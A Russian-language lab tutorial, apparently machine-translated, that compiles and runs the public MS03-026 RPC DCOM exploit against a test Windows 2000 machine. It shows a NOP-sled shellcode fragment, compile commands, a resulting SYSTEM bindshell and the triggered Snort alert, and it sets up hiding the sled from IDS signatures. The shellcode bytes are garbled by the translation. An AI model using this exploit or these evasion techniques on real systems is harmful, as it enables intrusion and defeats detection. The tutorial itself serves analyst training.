Обфусцированный шеллкод, волк в овечьей шкуре (часть 2)
Чтобы продолжить с того места, где закончилась первая часть серии статей, мы теперь рассмотрим полнофункциональный эксплойт, в котором есть NOP-след. Что мы будем делать в этой части, так это скомпилировать эксплойт, а затем использовать его против лабораторного ящика. На этом тестовом поле будет запущен Snort с набором правил по умолчанию. Сам эксплойт будет MS03-026, а сам код эксплойта можно загрузить отсюда. Обратите внимание, что этот код эксплойта должен быть скомпилирован на компьютере под управлением Linux или Windows, на котором работает Cygwin. Для тех из вас, кто может быть немного сбит с толку тем, как люди знают, как компилировать конкретный код под той или иной ОС, вот небольшой совет. Взгляните на раздел #include кода эксплойта. Есть определенные, которые можно найти только в win32 или Linux. См. пример ниже:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
Мы видим, что #include <unistd.h> требуется для компиляции этого кода. Ну, этот файл можно найти только в операционной системе Linux. Это стандартный заголовочный файл UNIX. Это скажет вам, что этот код эксплойта не может быть скомпилирован в системе win32 или, по крайней мере, без помощи Cygwin. Если вы не являетесь программистом по профессии, то поиск этих небольших подсказок позволит вам узнать, под какой операционной системой должен быть скомпилирован код эксплойта. Теперь, когда мы знаем, под какой операционной системой компилировать вышеупомянутый эксплойт, давайте взглянем на NOP-след в этом коде эксплойта.
/* bindshell без сбоя RPC, определяемый порт создания */
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90х90"
"x90x90x90x90x90x90x90xebx19x5ex31xc9x81xe9x89xff"
Выше мы можем видеть, что это салазки NOP, также известные как 0x90, которые, как я уже упоминал, подходят для большинства систем обнаружения вторжений. Почти каждая IDS будет иметь эту серию 0x90 как часть сигнатуры попытки переполнения буфера. Именно эту характеристику мы и хотим замаскировать. При этом давайте зададим себе основу для работы. С этой целью я и, надеюсь, вы тоже скомпилируете этот код. Затем запустите его на лабораторном компьютере с работающим на нем Snort. Это позволит нам увидеть, какие сигнатуры активированы, если таковые имеются. Я скомпилирую свой код под Linux следующим образом:
Давайте скомпилируем этого плохого мальчика
Обратите внимание, что я делаю это в Linux. Я вырезаю и вставляю код в файл, который я создаю в xterm. После этого я называю это test_sploit.c
Теперь мне нужно скомпилировать сам код с помощью gcc следующим образом:
linux:/home/don # gcc -o test_sploit test_sploit.c
Код скомпилируется и выдаст вам два предупреждения. Просто игнорируйте эти предупреждения, так как они не повлияют на скомпилированный двоичный файл. Теперь мы хотим запустить эксплойт и посмотреть, сработает ли он.
linux:/home/don #./test_sploit
Эксплойт RPC DCOM, закодированный.:[oc192.us]:. Безопасность
Применение:
./test_sploit -d <хост> [параметры]
Опции:
-d: имя хоста для атаки [обязательно]
-t: введите [по умолчанию: 0]
-r: адрес возврата [по умолчанию: выбрано из цели]
-p: порт атаки [по умолчанию: 135]
-l: порт Bindshell [по умолчанию: 666]
Типы:
0 [0x0018759f]: [Win2k-Универсальная]
1 [0x0100139d]: [WinXP-универсальная]
линукс:/дом/дон #
Итак, на данный момент мы знаем, что он работает, но чтобы убедиться, что он действительно будет использовать уязвимый компьютер, нам нужно заполнить приведенную выше необходимую информацию. Единственное, что я на самом деле введу, это IP-адрес компьютера-жертвы в лаборатории. Остальные поля оставлю по умолчанию.
linux:/home/don #./test_sploit -d 192.168.1.101
Удаленный эксплойт RPC DCOM –.:[oc192.us]:. Безопасность
[+] Резолв хост..
[+] Готово.
— Цель: [Win2k-Universal]:192.168.1.101:135, Bindshell:666,
РЕТ=[0x0018759f]
[+] Подключен к биндшеллу..
— блин-блин —
Microsoft Windows 2000 [версия 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:WINNTsystem32>
Что Snort должен сказать?
Таким образом, с приведенной выше информацией мы можем видеть, что эксплойт сработал и дал нам доступ на системном уровне. Теперь мы рассмотрим сам компьютер-жертву, чтобы увидеть, на чем сработал Snort, если что. Ниже показан фактический файл alert.ids от Snort, который был сгенерирован, когда он увидел пакеты, приходящие к нему от атакующего компьютера.
[**] [1:2351:8] Попытка переполнения пути NETBIOS DCERPC ISystemActivator с прямым порядком байтов [**]
[Классификация: Попытка получить права администратора] [Приоритет: 1]
28.01-08:49:36.011482 192.168.1.102:1040 -> 192.168.1.101:135
TCP TTL:64 TOS:0x0 ID:31304 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xFFBD6980 Подтверждение: 0x1071DF86 Выигрыш: 0x5B4 TcpLen: 32
Опции TCP (3) => NOP NOP TS: 3937142 27317[Внешняя ссылка => http://cgi.nessus.org/plugins/dump.php3?id=11808][Внешняя ссылка =>
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0352] [Внешняя ссылка => http://www.securityfocus.com/bid/8205]
Что ж, из приведенного выше файла alert.ids мы можем видеть, что Snort действительно сработал на основе сигнатуры NETBIOS DCERPC. DCERPC — это распределенная вычислительная среда, удаленный вызов процедур, также известный как порт 135. В выходных данных Snort также хорошо указано, что это была попытка получить привилегии администратора. Наконец, он также отмечает, какая уязвимость используется, и предоставляет гиперссылку на нее. Имея эту информацию на руках, аналитик мог бы просмотреть рассматриваемые пакеты и увидеть, что атака действительно была направлена на порт 135. Это, а также тот факт, что известный NOP-след включен в пакет, который фактически содержал эксплойт, заставит их поверить, что это действительная попытка. Со всеми этими свидетельствами аналитик знает, что это не ложноположительный результат.
То, что мы сейчас увидели выше, это то, что существуют определенные критерии, на которые будет смотреть аналитик сетевой безопасности. Как мы теперь знаем, одним из самых важных индикаторов (в том, что касается переполнения буфера) является обычно присутствующая цепочка NOP. Этот «сообщение» используется поставщиками IDS для создания эффективной подписи. Будучи аналитиком сетевой безопасности, я знаю, что многие мои коллеги ищут в пакете сигнальный код 0x90, чтобы подтвердить попытку переполнения. Проблема, однако, в том, что несколько раз я лично видел, как некоторые опытные аналитики объявляли атаку ложным срабатыванием просто потому, что не было салазок NOP.
Обучение имеет первостепенное значение
Вряд ли можно обвинить человека, не получившего надлежащей подготовки, в том, что он не может выполнять свои обязанности. Я узнал об обфускации шелл-кода только в результате перехода по ссылке, которая ссылалась на него. Только прочитав об этом достаточно много, я начал понимать, что происходит. Я сам не программист, но я могу понять, что означает большая часть исходного кода, прочитав его. Только путем множества проб и ошибок я смог заменить 0x90 на другие идемпотентные замены. Как только я смог это сделать, это привело к другим экспериментам, таким как использование нескольких различных идемпотентных функций и их смешивание. Если бы вы использовали только одну функцию или символ, вы не продвинулись бы дальше. Аналитик все еще был бы встревожен, увидев множество, скажем, 0x42, поскольку он, вероятно, знал бы, что это попытка переполнения, которая просто использует другой символ. На этом мы закончим эту часть серии статей. В последней части серии статей мы заменим салазки NOP в эксплойте, который мы использовали ранее, и воспользуемся некоторыми другими функциями для его сборки. Затем это будет проверено на Snort, чтобы увидеть, что произойдет. Тогда увидимся!